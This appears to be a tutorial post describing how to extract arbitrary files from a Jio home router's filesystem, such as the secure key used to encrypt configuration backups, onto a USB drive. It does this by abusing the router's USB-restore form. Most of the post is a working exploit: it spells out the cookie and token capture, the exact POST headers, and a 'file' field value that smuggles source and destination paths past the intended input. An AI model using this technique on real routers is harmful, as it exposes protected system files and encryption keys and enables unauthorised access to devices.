2.8 KiB
Way to get any file directly from your Jio Router's Filesystem to your pendrive [Working as of 3rd January 2023]
Disclaimer: - This is Only for educational purposes, No one is responsible for any type of damage. Any wrong step might brick your router. So be aware.
Requirements:-
- Chrome Browser
- Postman (or cURL, if you prefer that)
- A Pendrive or a Portable HDD/SSD that can be plugged into your router
Notes:-
Here we are copying /flash/secure/key.txt
which is the encryption key used to encrypt the router backup configuration to our pendrive.
The location of the the pendrive root in the router is /mnt/vfs/admin/ITSYOURAP/
(Remember to replace "ITSYOURAP"
with the label of your pendrive)
Steps:-
-
Open your router admin page (
http://192.168.29.1
) and login via your admin credentials. -
After logging in, copy the value of the cookie
TeamF1Login
. You can use the Application tab in Developer options to do so. -
Go to the Administration > Maintenance Page
-
Press
CTRL + U
(If you are in Chrome Browser) to View Source of the page (Alternatively, you can Inspect Element) -
Find the Backup/Restore HTML Form. It should look like this:-
<form name="tf1_frmBackupSaveCurrentSettings" method="post" action="?action=backup"> <input type="hidden" name="token" value="sometoken">
-
Copy the value of token element from the form. Here it is sometoken.
-
Open up Postman and create a new POST request to
http://192.168.29.1/platform.cgi
In the headers section, uncheck
Accept
andAccept-Encoding
header. Fill up these headers in the request (Use the Bulk Edit option and copy paste these):-Cookie:TeamF1Login=yourteamf1logincookievalue Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer:http://192.168.29.1/platform.cgi?page=backupRestore.html
Change the
TeamF1Login
value with the cookie value you copied in step 2. Now go to the Body section and check the form-data checkbox. Click on the Bulk Edit option and copy paste these values:button.usbRestore.statusPage:usbRestore file:/flash/secure/key.txt /mnt/vfs/admin/ITSYOURAP/ # token:sometoken thispage:backupRestore.html
Remember to replace
sometoken
with the value of the token you copied earlier. Also replace the first section of the file param with the file you want to copy. (We are copying/flash/secure/key.txt
in this case) -
Now Click on the Send button in Postman to send the request. Within a few seconds, your request gets completed and now you have the requested file in your Pendrive root.
PS: You can also copy directories using this method. Just change the first section of the file param with the folder location in the router.